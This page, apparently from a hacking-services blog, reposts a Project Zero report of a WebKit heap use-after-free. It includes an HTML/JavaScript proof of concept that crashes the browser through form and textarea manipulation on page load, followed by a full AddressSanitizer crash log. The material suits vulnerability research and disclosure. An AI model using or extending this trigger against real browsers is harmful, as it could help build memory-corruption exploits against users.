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A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

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About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1355

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
-->

<script>
function jsfuzzer() {
  textarea1.setRangeText("foo");
  textarea2.autofocus = true;
  textarea1.name = "foo";
  form.insertBefore(textarea2, form.firstChild);
  form.submit();
}
function eventhandler2() {
  for(var i=0;i<100;i++) {
    var e = document.createElement("input");
    form.appendChild(e);
  }
}
</script>
<body onload=jsfuzzer()>
<form id="form" onchange="eventhandler2()">
<textarea id="textarea1">a</textarea>
<object id="object"></object>
<textarea id="textarea2">b</textarea>

<!--
=================================================================

ASan log:

=================================================================
==934==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c0000b9810 at pc 0x000114b6f49c bp 0x7fff511323f0 sp 0x7fff511323e8
READ of size 8 at 0x60c0000b9810 thread T0
==934==WARNING: invalid path to external symbolizer!
==934==WARNING: Failed to use and restart external symbolizer!
    #0 0x114b6f49b in WebCore::FormSubmission::create(WebCore::HTMLFormElement&, WebCore::FormSubmission::Attributes const&, WebCore::Event*, WebCore::LockHistory, WebCore::FormSubmissionTrigger) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb3749b)
    #1 0x114daba4b in WebCore::HTMLFormElement::submit(WebCore::Event*, bool, bool, WebCore::FormSubmissionTrigger) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd73a4b)
    #2 0x1157ef370 in WebCore::jsHTMLFormElementPrototypeFunctionSubmitBody(JSC::ExecState*, WebCore::JSHTMLFormElement*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x17b7370)
    #3 0x1157ec668 in long long WebCore::IDLOperation<WebCore::JSHTMLFormElement>::call<&(WebCore::jsHTMLFormElementPrototypeFunctionSubmitBody(JSC::ExecState*, WebCore::JSHTMLFormElement*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState&, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x17b4668)
    #4 0x354389601027  (<unknown module>)
    #5 0x122546e49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #6 0x122546e49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #7 0x12253ff6f in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16a3f6f)
    #8 0x1221a3847 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1307847)
    #9 0x12212488a in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x128888a)
    #10 0x12173d731 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1731)
    #11 0x12173d9a2 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a19a2)
    #12 0x12173dd13 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1d13)
    #13 0x115276615 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x123e615)
    #14 0x1156896cd in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x16516cd)
    #15 0x1149f5010 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bd010)
    #16 0x1149f4ae0 in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bcae0)
    #17 0x1148d2051 in WebCore::DOMWindow::dispatchEvent(WebCore::Event&, WebCore::EventTarget*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x89a051)
    #18 0x1148e1c0f in WebCore::DOMWindow::dispatchLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8a9c0f)
    #19 0x1147d4b0f in WebCore::Document::dispatchWindowLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x79cb0f)
    #20 0x1147cebad in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x796bad)
    #21 0x114b813ed in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb493ed)
    #22 0x114b7e75c in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb4675c)
    #23 0x1147ee523 in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7b6523)
    #24 0x114d725d0 in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3a5d0)
    #25 0x11488f693 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x857693)
    #26 0x114850736 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x818736)
    #27 0x1142cc047 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x294047)
    #28 0x1142c4df1 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28cdf1)
    #29 0x116d9c661 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d64661)
    #30 0x10f5fa43b in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb1343b)
    #31 0x10f5fd6d9 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb166d9)
    #32 0x10f5fcbc9 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb15bc9)
    #33 0x10edee117 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x307117)
    #34 0x10ebcd695 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xe6695)
    #35 0x10ebd6a48 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xefa48)
    #36 0x122bbe8e3 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d228e3)
    #37 0x122bbf1b1 in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d231b1)
    #38 0x7fff8c5f6320 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa7320)
    #39 0x7fff8c5d721c in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x8821c)
    #40 0x7fff8c5d6715 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87715)
    #41 0x7fff8c5d6113 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87113)
    #42 0x7fff8bb36ebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #43 0x7fff8bb36cf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #44 0x7fff8bb36b25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #45 0x7fff8a0cfa53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #46 0x7fff8a84b7ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #47 0x7fff8a0c43da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #48 0x7fff8a08ee0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #49 0x7fffa1faf8c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #50 0x7fffa1fae2e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
    #51 0x10eaca56c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
    #52 0x7fffa1d56234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

0x60c0000b9810 is located 16 bytes inside of 128-byte region [0x60c0000b9800,0x60c0000b9880)
freed by thread T0 here:
    #0 0x111d32294 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x57294)
    #1 0x122c0e650 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72650)
    #2 0x114db0a77 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::expandCapacity(unsigned long, WebCore::FormAssociatedElement**) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd78a77)
    #3 0x114dad5cf in void WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::insert<WebCore::FormAssociatedElement*&>(unsigned long, WebCore::FormAssociatedElement*&&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd755cf)
    #4 0x114dad43f in WebCore::HTMLFormElement::registerFormElement(WebCore::FormAssociatedElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd7543f)
    #5 0x114b20fd8 in WebCore::FormAssociatedElement::setForm(WebCore::HTMLFormElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xae8fd8)
    #6 0x114b2196e in WebCore::FormAssociatedElement::resetFormOwner() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xae996e)
    #7 0x114dcbe6d in WebCore::HTMLInputElement::finishedInsertingSubtree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd93e6d)
    #8 0x114404e08 in WebCore::ContainerNode::notifyChildInserted(WebCore::Node&, WebCore::ContainerNode::ChildChange const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3cce08)
    #9 0x1144049a2 in WebCore::ContainerNode::updateTreeAfterInsertion(WebCore::Node&, WebCore::ContainerNode::ReplacedAllChildren) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3cc9a2)
    #10 0x1144042ba in WebCore::ContainerNode::appendChildWithoutPreInsertionValidityCheck(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3cc2ba)
    #11 0x1144072f8 in WebCore::ContainerNode::appendChild(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3cf2f8)
    #12 0x1163be49d in WebCore::Node::appendChild(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x238649d)
    #13 0x115a321e6 in WebCore::jsNodePrototypeFunctionAppendChildBody(JSC::ExecState*, WebCore::JSNode*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x19fa1e6)
    #14 0x115a2c648 in long long WebCore::IDLOperation<WebCore::JSNode>::call<&(WebCore::jsNodePrototypeFunctionAppendChildBody(JSC::ExecState*, WebCore::JSNode*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState&, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x19f4648)
    #15 0x354389601027  (<unknown module>)
    #16 0x122546dd7 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aadd7)
    #17 0x122546e49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #18 0x12253ff6f in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16a3f6f)
    #19 0x1221a3847 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1307847)
    #20 0x12212488a in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x128888a)
    #21 0x12173d731 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1731)
    #22 0x12173d9a2 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a19a2)
    #23 0x12173dd13 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1d13)
    #24 0x115276615 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x123e615)
    #25 0x1156896cd in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x16516cd)
    #26 0x1149f5010 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bd010)
    #27 0x1149f4ae0 in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bcae0)
    #28 0x1149bcb97 in WebCore::EventContext::handleLocalEvents(WebCore::Event&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x984b97)
    #29 0x1149bdbde in WebCore::dispatchEventInDOM(WebCore::Event&, WebCore::EventPath const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x985bde)

previously allocated by thread T0 here:
    #0 0x111d31d2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
    #1 0x7fffa1ed8281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
    #2 0x122c0ead4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72ad4)
    #3 0x122c0cd6d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d70d6d)
    #4 0x122b93247 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf7247)
    #5 0x122b9263a in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf663a)
    #6 0x114d97a90 in WTF::VectorBufferBase<WebCore::FormAssociatedElement*>::allocateBuffer(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd5fa90)
    #7 0x114d97df3 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::reserveCapacity(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd5fdf3)
    #8 0x114db0a77 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::expandCapacity(unsigned long, WebCore::FormAssociatedElement**) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd78a77)
    #9 0x114dad5cf in void WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::insert<WebCore::FormAssociatedElement*&>(unsigned long, WebCore::FormAssociatedElement*&&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd755cf)
    #10 0x114dad43f in WebCore::HTMLFormElement::registerFormElement(WebCore::FormAssociatedElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd7543f)
    #11 0x114b20fd8 in WebCore::FormAssociatedElement::setForm(WebCore::HTMLFormElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xae8fd8)
    #12 0x114b212d3 in WebCore::FormAssociatedElement::insertedInto(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xae92d3)
    #13 0x114d9f8b0 in WebCore::HTMLFormControlElement::insertedInto(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd678b0)
    #14 0x114e80f59 in WebCore::HTMLTextFormControlElement::insertedInto(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe48f59)
    #15 0x114416e68 in WebCore::notifyNodeInsertedIntoDocument(WebCore::ContainerNode&, WebCore::Node&, WTF::Vector<WTF::Ref<WebCore::Node>, 11ul, WTF::CrashOnOverflow, 16ul>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3dee68)
    #16 0x114416cad in WebCore::notifyChildNodeInserted(WebCore::ContainerNode&, WebCore::Node&, WTF::Vector<WTF::Ref<WebCore::Node>, 11ul, WTF::CrashOnOverflow, 16ul>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3decad)
    #17 0x114404d67 in WebCore::ContainerNode::notifyChildInserted(WebCore::Node&, WebCore::ContainerNode::ChildChange const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ccd67)
    #18 0x114403396 in WebCore::ContainerNode::parserAppendChild(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3cb396)
    #19 0x114d4acdc in WebCore::executeInsertTask(WebCore::HTMLConstructionSiteTask&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd12cdc)
    #20 0x114d43ea7 in WebCore::HTMLConstructionSite::executeQueuedTasks() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd0bea7)
    #21 0x114d73c8a in WebCore::HTMLDocumentParser::constructTreeFromHTMLToken(WebCore::HTMLTokenizer::TokenPtr&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3bc8a)
    #22 0x114d73849 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3b849)
    #23 0x114d729c2 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3a9c2)
    #24 0x114d744e8 in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3c4e8)
    #25 0x114752531 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x71a531)
    #26 0x11488f63d in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x85763d)
    #27 0x114850736 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x818736)
    #28 0x1142cc047 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x294047)
    #29 0x1142c4df1 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28cdf1)

SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb3749b) in WebCore::FormSubmission::create(WebCore::HTMLFormElement&, WebCore::FormSubmission::Attributes const&, WebCore::Event*, WebCore::LockHistory, WebCore::FormSubmissionTrigger)
Shadow bytes around the buggy address:
  0x1c18000172b0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c18000172c0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
  0x1c18000172d0: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
  0x1c18000172e0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c18000172f0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
=>0x1c1800017300: fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c1800017310: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c1800017320: 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa
  0x1c1800017330: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c1800017340: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c1800017350: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==934==ABORTING
-->